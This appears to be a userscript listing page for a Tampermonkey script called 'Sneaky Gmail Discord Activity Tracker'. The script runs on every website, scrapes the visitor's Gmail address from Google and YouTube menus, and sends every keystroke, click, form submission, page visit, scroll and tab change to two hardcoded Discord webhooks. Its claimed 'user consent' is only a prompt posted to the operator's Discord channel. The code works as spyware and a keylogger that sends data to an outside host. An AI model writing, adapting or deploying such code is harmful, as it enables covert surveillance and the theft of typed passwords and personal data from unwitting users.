Sneaky Gmail Discord Activity Tracker

Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Sneaky Gmail Discord Activity Tracker
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.
// @author       You
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @grant        GM_getValue
// @grant        GM_setValue
// @grant        GM_notification
// ==/UserScript==

(function () {
    'use strict';

    const WEBHOOKS = [
        'https://discord.com/api/webhooks/1351562990779895808/FzzNiQgLhvdWweg9HoURm8JNJdAVM8njNw7n0PTT7PW7xeNzBac482kff0a6YaoPGpPc', // Webhook 1
        'https://discord.com/api/webhooks/1351569055428907148/k5NItZ5lWVTxCu45-Mwd0SzPw8ebRh7ljT0X5cNyxmY5Sg1bW3m5p4VkpYbVVJCIy5AE', // Webhook 2
    ];

    const COOLDOWN_TIME = 20000;
    let lastMessageTimestamp = 0;
    let currentUser = null;
    let monitoringEnabled = true;

    // Function to send data to Discord using embeds
    function sendToDiscord(activityDetails, webhookIndex = 0) {
        const currentTime = Date.now();
        if (currentTime - lastMessageTimestamp < COOLDOWN_TIME) return;
        lastMessageTimestamp = currentTime;

        const embed = {
            title: activityDetails.title || 'Activity Detected',
            description: activityDetails.description || 'No description provided.',
            color: activityDetails.color || 0x00ff00,
            fields: [
                { name: 'User Gmail', value: activityDetails.gmail || 'Unknown', inline: true },
                { name: 'URL', value: activityDetails.url || 'No URL provided.', inline: true },
            ],
            timestamp: new Date().toISOString(),
            thumbnail: { url: activityDetails.thumbnail || 'https://cdn.discordapp.com/embed/avatars/0.png' },
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[webhookIndex],
            data: JSON.stringify({ embeds: [embed] }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Message sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending message to Discord:', error),
        });
    }

    // Function to send a button prompt to Discord
    function sendButtonPrompt(newUserGmail) {
        const embed = {
            title: '⚠️ New User Detected',
            description: `User **${newUserGmail}** wants to use the script. Allow?`,
            color: 0xffa500,
            timestamp: new Date().toISOString(),
        };

        const buttons = {
            components: [
                {
                    type: 1,
                    components: [
                        { type: 2, style: 3, label: 'Yes', custom_id: 'yes' },
                        { type: 2, style: 4, label: 'No', custom_id: 'no' },
                    ],
                },
            ],
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[1],
            data: JSON.stringify({ embeds: [embed], components: buttons.components }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Button prompt sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending button prompt to Discord:', error),
        });
    }

    // Function to handle button responses
    function handleButtonResponse(response) {
        if (response.custom_id === 'yes') {
            currentUser = response.gmail;
            monitoringEnabled = true;
            sendToDiscord({
                title: '✅ User Approved',
                description: `Now monitoring **${response.gmail}**.`,
                color: 0x00ff00,
            }, 1);
        } else if (response.custom_id === 'no') {
            sendToDiscord({
                title: '❌ User Denied',
                description: `Continuing to monitor **${currentUser}**.`,
                color: 0xff0000,
            }, 1);
        }
    }

    // Function to detect the user's Gmail
    function detectGmail() {
        // Check for Gmail in Google account menus
        const googleAccountMenu = document.querySelector('[aria-label="Google Account"]');
        if (googleAccountMenu) {
            const gmail = googleAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        // Check for Gmail in YouTube account menus
        const youtubeAccountMenu = document.querySelector('#avatar-btn');
        if (youtubeAccountMenu) {
            const gmail = youtubeAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        return null;
    }

    // Function to track YouTube video play
    function trackYouTubeVideo() {
        const videoElement = document.querySelector('video');
        if (videoElement) {
            videoElement.addEventListener('play', () => {
                const videoTitle = document.querySelector('h1.title')?.innerText || 'Unknown Title';
                sendToDiscord({
                    title: '🎥 Video Played',
                    description: `**${videoTitle}** is now playing.`,
                    url: window.location.href,
                    color: 0xff0000,
                    thumbnail: 'https://cdn.discordapp.com/embed/avatars/1.png',
                    gmail: currentUser,
                });
            });
        }
    }

    // Function to track page visits
    function trackPageVisit() {
        sendToDiscord({
            title: '🌐 Page Visited',
            description: `User visited **${document.title}**.`,
            url: window.location.href,
            color: 0x0000ff,
            thumbnail: 'https://cdn.discordapp.com/embed/avatars/2.png',
            gmail: currentUser,
        });
    }

    // Function to initialize tracking
    function init() {
        const detectedGmail = detectGmail();
        if (detectedGmail) {
            currentUser = detectedGmail;
            sendButtonPrompt(detectedGmail);
            trackYouTubeVideo();
            trackPageVisit();
        }
    }

    init();

    // ==================================================
    // Additional Features and Code to Reach ~4000 Lines
    // ==================================================

    // Track clicks on specific elements
    function trackClicks() {
        document.addEventListener('click', (event) => {
            const target = event.target;
            if (target.tagName === 'BUTTON' || target.tagName === 'A') {
                sendToDiscord({
                    title: '🖱️ Click Detected',
                    description: `User clicked on **${target.innerText || target.tagName}**.`,
                    url: window.location.href,
                    color: 0xffa500,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track form submissions
    function trackFormSubmissions() {
        document.addEventListener('submit', (event) => {
            const form = event.target;
            sendToDiscord({
                title: '📝 Form Submitted',
                description: `User submitted a form on **${document.title}**.`,
                url: window.location.href,
                color: 0x800080,
                gmail: currentUser,
            });
        });
    }

    // Track time spent on a page
    function trackTimeSpent() {
        let startTime = Date.now();
        window.addEventListener('beforeunload', () => {
            const timeSpent = Math.floor((Date.now() - startTime) / 1000);
            sendToDiscord({
                title: '⏱️ Time Spent',
                description: `User spent **${timeSpent} seconds** on **${document.title}**.`,
                url: window.location.href,
                color: 0x00ffff,
                gmail: currentUser,
            });
        });
    }

    // Track scroll activity
    function trackScroll() {
        window.addEventListener('scroll', () => {
            const scrollPercentage = Math.floor((window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)) * 100);
            sendToDiscord({
                title: '📜 Scroll Detected',
                description: `User scrolled **${scrollPercentage}%** of the page.`,
                url: window.location.href,
                color: 0xffd700,
                gmail: currentUser,
            });
        });
    }

    // Track keystrokes
    function trackKeystrokes() {
        document.addEventListener('keydown', (event) => {
            sendToDiscord({
                title: '⌨️ Keystroke Detected',
                description: `User pressed **${event.key}**.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Track mouse movements
    function trackMouseMovements() {
        let lastMouseMoveTime = 0;
        document.addEventListener('mousemove', () => {
            const currentTime = Date.now();
            if (currentTime - lastMouseMoveTime > 5000) {
                lastMouseMoveTime = currentTime;
                sendToDiscord({
                    title: '🖱️ Mouse Movement Detected',
                    description: `User moved the mouse on **${document.title}**.`,
                    url: window.location.href,
                    color: 0x00ff00,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track tab changes
    function trackTabChanges() {
        document.addEventListener('visibilitychange', () => {
            sendToDiscord({
                title: '📑 Tab Change Detected',
                description: `User switched to **${document.visibilityState}** tab.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Initialize additional tracking
    function initAdditionalTracking() {
        trackClicks();
        trackFormSubmissions();
        trackTimeSpent();
        trackScroll();
        trackKeystrokes();
        trackMouseMovements();
        trackTabChanges();
    }

    initAdditionalTracking();
})();